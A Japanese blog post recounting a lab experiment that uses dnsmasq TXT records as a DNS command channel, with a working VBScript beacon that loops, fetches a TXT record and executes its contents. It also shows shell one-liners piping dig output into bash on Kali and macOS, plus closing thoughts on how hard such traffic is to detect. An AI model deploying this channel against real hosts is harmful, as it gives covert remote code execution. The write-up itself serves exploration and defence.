vbscript/one liner shell + dnsmasqでtxtレコード使ってコマンド実行とかして遊んだ話
VBScriptで遊んでみたpart X。shell(For linux, macOS)で同じことをもっと楽にできそうだったのでついでに試した。
TL;DR
- DNSマルウェア関連の話で出てくるHeartbeetリクエストで怪しいドメイン(サブドメイン部分)に対してクエリ投げてるってとこ、コマンド実行だけだったら別に怪しいドメインに対するリクエストは必要ないよね(前提part)
- 作るだけなら結構簡単。dnsログもテキストに残るからbeacon管理も紹介記事に出てくるHeartbeetの例みたく、怪しいサブドメインひっさげてクエリ投げなくてもlog parseでいけそう(構築・実験part)
- 単にコマンド実行のためだけの代物が入り込んでる場合、情報が「実験」内でのクエリ(_acme.example.com, _acme.example.co.jpへのtxtレコード取得)みたいのだけだと発見はしんどそう、コマンド実行回数と送信先のチェック組み合わせだとか、検知の仕組みはちょっと考えないといけない気がする(所感part)
- For CTFerな小ネタかもしれない
前提
- マルウェアがHTTPやDNSを使って外部とやりとりしようとする話があって
- 怪しいドメインにクエリを送るってのは何かしらの情報を送信していると考えられるわけだけど
- beacon idとか
- 端末上の情報とか
- ネットワーク内の情報とか
- その他諸々
- そもそも端末上でのコード実行だけを考えるなら外部から実行コードのデータを取得すればいいんだから、↑みたいな情報送る必要なくね?
- って思ったので、とりあえずコード実行を試しつつ対策とか考えてみた
構築
- 環境(dnsmasqをkaliに入れて設定するだけ)
- Install and start dnsmasq
# ifconfig eth0 | grep "inet " inet 192.168.24.55 netmask 255.255.255.0 broadcast 192.168.24.255 # apt install dnsmasq Reading package lists... Done (snip) # mv /etc/dnsmasq.conf /etc/dnsmasq.conf.default # backup # echo << EOC > /etc/dnsmasq.conf address=/.example.com/192.168.24.55 log-facility=/var/log/dnsmasq.log log-queries txt-record=_acme.example.co.jp,"Wscript.echo paylaodDomain" # For Windows txt-record=_acme.example.com,"id;uname -a;echo $SHELL" # For Kali, macOS EOC # dnsmasq --test dnsmasq: syntax check OK. # systemctl start dnsmasq # netstat -anu | grep 53 udp 0 0 0.0.0.0:53 0.0.0.0:* udp6 0 0 :::53 :::* # dig -t txt _acme.example.com @localhost | grep -i txt ; <<>> DiG 9.16.4-Debian <<>> -t txt _acme.example.com @localhost ;_acme.example.com. IN TXT _acme.example.com. 0 IN TXT "id;uname -a;echo /bin/bash"
実験(遊ぶ)
Victim 1(Windows)
Function DnsCommunicator(mode, host) Dim sh : Set sh = CreateObject("WScript.Shell") Dim cmd : cmd = "%comspec% /c nslookup -q=" & mode & " " & host Dim cmdResult : Set cmdResult = sh.exec(cmd) Dim str : str = "" Select Case mode Case "txt" Do While Not cmdResult.StdOut.AtEndOfStream str = str & cmdResult.StdOut.Readline() & vbCrLf ' ここもっといい書き方ありそう Loop Dim regEx : Set regEx = New RegExp regEx.Pattern = Chr(34) & "(((\\\\" & Chr(34) & ")|[^" & Chr(34) & "])*)" & Chr(34) regEx.IgnoreCase = True regEx.Global = True Dim Matches : Set Matches = regEx.Execute(str) instruction = Replace(Matches(0), """", "") ' ここの(0)は決め打ちでいいのか疑問 Case "a" ''''''''''''' ' TBD ''''''''''''' tmp = "" Do While Not cmdResult.StdOut.AtEndOfStream ' ここももっといい書き方ありそう tmp = cmdResult.StdOut.Readline() If InStr(tmp, "Address") Then str = str & tmp & vbCrLf End If Loop Instruction = str End Select DnsCommunicator = instruction Set sh = Nothing End Function paylaodDomain = "_acme.example.co.jp" nameSrvDomain = "192.168.24.55" ' 実際にはつけないだろうなぁ mode = "txt" sleeptime = 3 * 1000 Do res = DnsCommunicator(mode, paylaodDomain & " " & nameSrvDomain) Wscript.echo res Execute res Wscript.sleep(sleeptime) Loop
- 試す
> cscript dns_exec.vbs Microsoft (R) Windows Script Host Version 5.812 Copyright (C) Microsoft Corporation. All rights reserved. Wscript.echo paylaodDomain _acme.example.com ^C
Victim 2(kali)
# dig -t txt _acme.example.com @localhost | grep \" | awk -F\" '{print $2}' | bash uid=0(root) gid=0(root) groups=0(root) Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux /bin/bash # while true; do echo "----"; date; echo "----"; dig -t txt _acme.example.com @localhost | grep \" | awk -F\" '{print $2}' | bash; sleep 10; done ---- Fri 28 Aug 2020 06:00:59 PM JST ---- uid=0(root) gid=0(root) groups=0(root) Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux /bin/bash ---- (snip) ---- Fri 28 Aug 2020 06:01:39 PM JST # <---- txtの中身をwhoamiにしてsystemctl restart dnsmasq ---- root (snip)
Victim 3(macOS)
% dig -t txt _acme.example.com @192.168.24.55 | grep \" | awk -F\" '{print $2}' | bash uid=501(nknskn) gid=20(staff) groups=20(staff),501(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae) Darwin nknskn-MacBook-Pro-2020.local 19.6.0 Darwin Kernel Version 19.6.0: Thu Jun 18 20:49:00 PDT 2020; root:xnu-6153.141.1~1/RELEASE_X86_64 x86_64 /usr/local/bin/zsh % # 以降、kaliでやった場合と似た感じになるので省略
dnsmasq log
# less /var/log/dnsmasq.log Aug 28 18:31:51 dnsmasq[3791]: reading /etc/resolv.conf Aug 28 18:31:51 dnsmasq[3791]: using nameserver 192.168.24.1#53 Aug 28 18:31:51 dnsmasq[3791]: read /etc/hosts - 10 addresses Aug 28 18:32:47 dnsmasq[3791]: query[TXT] _acme.example.com from ::1 Aug 28 18:32:47 dnsmasq[3791]: config _acme.example.com is <TXT> Aug 28 18:33:05 dnsmasq[3791]: query[TXT] _acme.example.co.jp from ::1 Aug 28 18:33:05 dnsmasq[3791]: config _acme.example.co.jp is <TXT> Aug 28 18:34:36 dnsmasq[3791]: query[TXT] _acme.example.co.jp from 192.168.24.54 Aug 28 18:34:36 dnsmasq[3791]: config _acme.example.co.jp is <TXT>
所感とか
- 上のようなvbscript(wsh)だったりshellscriptだったりがpersistenceされていたら、とりあえずDNSを疑いたい
- しかしDNSのクエリログはともかく、レスポンスまで保存してる企業なんてあるのか?無理だろ
- DNS使って命令送りこみつつ、HTTPで出てくる口を探すとかやってるグループあったりすんのかな。めっちゃ時間かかりそうだけど
- この手のがInitial accessに使われてたりすると通信ログだけから「感染している端末があるかどうか」を見つけるのは大変そう、というかほぼ無理な気がする(自分でできる気はしない)
- 取得したデータのdecode箇所の実装を頑張れば、Aレコードとか他のレコードに対するクエリを使って命令の取得ができそう
- vbscriptのコードをマクロに仕込んで送付される可能性はあるのか?という疑問に関しては「送る分には可能だけど、検知されるかどうかというとこで条件あり」とだけ
- 完全に防ぐのはしんどい気がする、初弾のあとで、攻撃者ができないことを増やしていく方が現実的な気はする
- ユーザの操作性を奪わない程度にやらないといけないと考えると、バランス難しい
以上